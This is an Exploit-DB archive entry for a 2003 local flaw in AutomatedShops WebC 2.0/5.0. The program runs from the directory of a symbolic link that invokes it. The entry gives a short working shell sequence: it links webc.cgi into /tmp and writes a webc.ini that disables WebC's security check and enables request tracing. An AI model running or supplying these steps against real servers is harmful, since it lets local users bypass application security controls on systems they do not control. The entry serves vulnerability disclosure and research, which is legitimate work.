AutomatedShops WebC 2.0/5.0 - Symbolic Link Following Configuration File

EDB-ID:

22456

CVE:

N/A

EDB Verified:

Author:

Carl Livitt

Type:

local

Exploit:   /  

Platform:

Linux

Date:

2003-04-03

Vulnerable App: 
source: https://www.securityfocus.com/bid/7272/info

It has been reported that WebC will execute in the directory of a symbolic link from which it is invoked. Because of this, it may be possible for a local user to load a configuration file that enabled dangerous variables. 

$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi
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